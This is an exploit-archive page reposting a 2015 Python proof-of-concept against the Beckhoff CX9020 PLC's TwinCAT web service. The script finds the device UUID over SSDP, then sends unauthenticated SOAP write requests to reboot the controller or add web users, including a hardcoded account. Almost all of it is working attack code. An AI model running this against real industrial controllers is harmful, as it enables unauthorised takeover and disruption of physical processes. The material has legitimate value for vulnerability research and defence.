首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Beckhoff CX9020 CPU Module - Remote Code Execution Exploit
来源:tijl[dot]deneut[at]howest[dot]be 作者:Photubias 发布时间:2015-10-27  
#! /usr/bin/env python
'''
    # Exploit Title: Beckhoff CX9020 CPU Module Web Exploit (RCE)
    # Date: 2015-10-22
    # Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be, based on work by Frank Lycops (frank.lycops@thesecurityfactory.be)
    # Vendor Homepage: https://www.beckhoff.com/english.asp?embedded_pc/cx9020.htm
    # Version: TwinCat UpnpWebsite < 3.1.4018.13, fixed with ftp://ftp.beckhoff.com/software/embPC-Control/CX90xx/CX9020/CE/TC3/CX9020_CB3011_WEC7_HPS_v602i_TC31_B4018.13.zip
    # Tested on: Python runs on any Windows or Linux
    # CVE : CVE-2015-4051 (similar to this CVE, but different service IPC Diagnostics Authentication <> Web Authentication)
 
    Copyright 2015 Photubias(c)
 
    Written for Howest(c) University College, Ghent University, XiaK
 
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
 
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
 
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
File name CX9020-WebControl.py
written by tijl[dot]deneut[at]howest[dot]be
This POC allows to reboot any CX9020 PLC and add random (Web) users to be configured.
 -> Test by going to http://<IP>/config (redirects to http://<NAME>:5120/UpnpWebsite/index.htm)
 -> Default credentials are guest/1 and webguest/1, but this exploit works without credentials
 -> Verify Website version by logging into http://<IP>/config and clicking "TwinCAT"
'''
import sys, httplib, socket, re, base64
 
## Defining Functions first:
def rebootMachine(UNS, IP, IO):
        ## This is the SOAP Message:
        SoapMessage = "<?xml version=\"1.0\" encoding=\"utf-8\"?><s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">"
        SoapMessage += "<s:Body><u:Write xmlns:u=\"urn:beckhoff.com:service:cxconfig:1\"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>"
        SoapMessage += "<IndexOffset>-" + IO + "</IndexOffset>"
        SoapMessage += "<pData>AQAAAAAA</pData></u:Write></s:Body></s:Envelope>"
 
        ## Construct and send the HTTP POST header
        rebootwebservice = httplib.HTTP(IP + ":5120")
        rebootwebservice.putrequest("POST", "/upnpisapi?uuid:" + UNS + "+urn:beckhoff.com:serviceId:cxconfig")
        rebootwebservice.putheader("Host", IP + ":5120")
        rebootwebservice.putheader("User-Agent", "Tijls Python Script")
        rebootwebservice.putheader("Content-type", "text/xml; charset=utf-8")
        rebootwebservice.putheader("Content-length", "%d" % len(SoapMessage))
        rebootwebservice.putheader("SOAPAction", "urn:beckhoff.com:service:cxconfig:1#Write")
        rebootwebservice.endheaders()
        rebootwebservice.send(SoapMessage)
 
        ## Get the response
        statuscode, statusmessage, header = rebootwebservice.getreply()
        if statuscode == 200:
                print "Exploit worked, device should be rebooting!"
                return 1
        else:
                print "Something went wrong, the used index is probably wrong? This is the response code:"
                ## Printing HTTP Response code
                res = rebootwebservice.getfile().read()
                print res
                return 0
 
        #print "Response: ", statuscode, statusmessage
        #print "headers: ", header
 
def addUser(UNS, IP, PDATA, IO):
        ## This is the SOAP Message:
        SoapMessage = '<?xml version="1.0" encoding="utf-8"?><s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">'
        SoapMessage += '<s:Body><u:Write xmlns:u="urn:beckhoff.com:service:cxconfig:1"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>'
        SoapMessage += '<IndexOffset>-' + IO + '</IndexOffset>'
        SoapMessage += '<pData>' + PDATA + '</pData></u:Write></s:Body></s:Envelope>'
 
        ## Construct and send the HTTP POST header
        rebootwebservice = httplib.HTTP(IP + ":5120")
        rebootwebservice.putrequest("POST", "/upnpisapi?uuid:" + UNS + "+urn:beckhoff.com:serviceId:cxconfig")
        rebootwebservice.putheader("Host", IP + ":5120")
        rebootwebservice.putheader("User-Agent", "Tijls Python Script")
        rebootwebservice.putheader("Content-type", "text/xml; charset=utf-8")
        rebootwebservice.putheader("Content-length", "%d" % len(SoapMessage))
        rebootwebservice.putheader("SOAPAction", "urn:beckhoff.com:service:cxconfig:1#Write")
        rebootwebservice.endheaders()
        rebootwebservice.send(SoapMessage)
 
        ## Get the response
        statuscode, statusmessage, header = rebootwebservice.getreply()
        if statuscode == 200:
                print "Exploit worked, user is added!"
                return 1
        else:
                print "Something went wrong, the used index is probably wrong? This is the response code:"
                ## Printing HTTP Response code
                res = rebootwebservice.getfile().read()
                print res
                return 0
 
        #print "Response: ", statuscode, statusmessage
        #print "headers: ", header
 
def addOwnUser(UNS, IP, IO):
        ## This will prompt for username and password and then create the custom pData string
        USERNAME = raw_input("Please enter the username: ")
        PASSWORD = raw_input("Please enter the password: ")
        CONCATENATED = USERNAME + PASSWORD       
         
        # Creating the Full String to encode
        FULLSTRING = chr(16+len(CONCATENATED))
        FULLSTRING += chr(0)+chr(0)+chr(0)
        FULLSTRING += chr(len(USERNAME))
        FULLSTRING += chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)
        FULLSTRING += chr(len(PASSWORD))
        FULLSTRING += chr(0)+chr(0)+chr(0)
        FULLSTRING += CONCATENATED
 
        # Encode a first time, but we don't want any '=' signs in the encoded version
        PDATA = base64.b64encode(FULLSTRING)
        if PDATA.endswith('='):
                FULLSTRING += chr(0)
                PDATA = base64.b64encode(FULLSTRING)
        if PDATA.endswith('='):
                FULLSTRING += chr(0)
                PDATA = base64.b64encode(FULLSTRING)
 
        # Now we have the correct PDATA string
        print 'We will use this string: '+PDATA
        return addUser(UNS, IP, PDATA, IO)
 
def is_ipv4(ip):
    match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip)
    if not match:
        return False
    quad = []
    for number in match.groups():
        quad.append(int(number))
    if quad[0] < 1:
        return False
    for number in quad:
        if number > 255 or number < 0:
            return False
    return True
 
###### START PROGRAM #######
if not len(sys.argv) == 2:
        IP = raw_input("Please enter the IPv4 address of the Beckhoff PLC: ")
else:
        IP = sys.argv[1]
         
if not is_ipv4(IP):
    print "Please go read RFC 791 and then use a legitimate IPv4 address."
    sys.exit()
 
## Initialize variables
UNS = ''
ActiveRebootIndOff = '1329528576' # Active means active Engineering Licenses (when PLC has been programmed less than a week ago)
InactiveRebootIndOff = '1330577152'
ActiveUserIndOff = '1339031296'
InactiveUserIndOff = '1340079872'
 
print 'Finding the unique UNS (UUID) of the target system (' + IP + '), hold on...\n'
 
DISCOVERY_MSG = ('M-SEARCH * HTTP/1.1\r\n' +
                 'HOST: 239.255.255.250:1900\r\n' +
                 'MAN: "ssdp:discover"\r\n' +
                 'MX: 3\r\n' +
                 'ST: upnp:rootdevice\r\n' +
                 '\r\n')
 
SOCK = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
SOCK.settimeout(10)
SOCK.sendto(DISCOVERY_MSG, (IP, 1900))
try:
        RESPONSE = SOCK.recv(1000).split('\r\n')
except:
        print 'Something went wrong, is the system online?\nTry opening http://' + IP + ':5120/config\n'
        raw_input('Press Enter to continue...')
        sys.exit(0)
 
for LINE in RESPONSE:
        if ':uuid' in LINE:
                UNS = LINE[9:45]
                print 'Got it: ' + LINE[9:45] + '\n'
SOCK.close()
 
if not UNS:
        print '\n\nProblem finding UNS, this is full SSDP response: \n'
        for LINE in RESPONSE: print LINE
        input('Press Enter to continue...')
        sys.exit(0)
else:
        print 'Let\'s go, choose your option:'
        print '1 = reboot PLC'
        print '2 = add user tijl with password xiak'
        print '3 = add user from your choosing'
        usr_input = raw_input('Select a number: ')
        if usr_input == '1':
                if not rebootMachine(UNS, IP, InactiveRebootIndOff):
                        rebootMachine(UNS, IP, ActiveRebootIndOff)
                raw_input('Press Enter to continue...')
        elif usr_input == '2':
                if not addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', InactiveUserIndOff):
                        addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', ActiveUserIndOff)
                raw_input('Press Enter to continue...')
        elif usr_input == '3':
                if not addOwnUser(UNS, IP, InactiveUserIndOff):
                        addOwnUser(UNS, IP, ActiveUserIndOff)
                raw_input('Press Enter to continue...')
        else:
                print 'Please choose a sensible input next time, exiting.'
                input('Press Enter to continue...')
                sys.exit()
        
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Zpanel Remote Unauthenticated
·Alreader 2.5 .fb2 - SEH Based
·HandyPassword 4.9.3 - SEH Over
·The World Browser 3.0 Final -
·VLC 2.2.1 Stack Overflow
·Easy File Sharing Web Server 7
·Nibbleblog File Upload
·Windows 10 - pcap Driver Local
·Tomabo MP4 Player 3.11.6 - SEH
·Safari User-Assisted Applescri
·WordPress Ajax Load More Plugi
·Avant Browser Lite / Ultimate
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved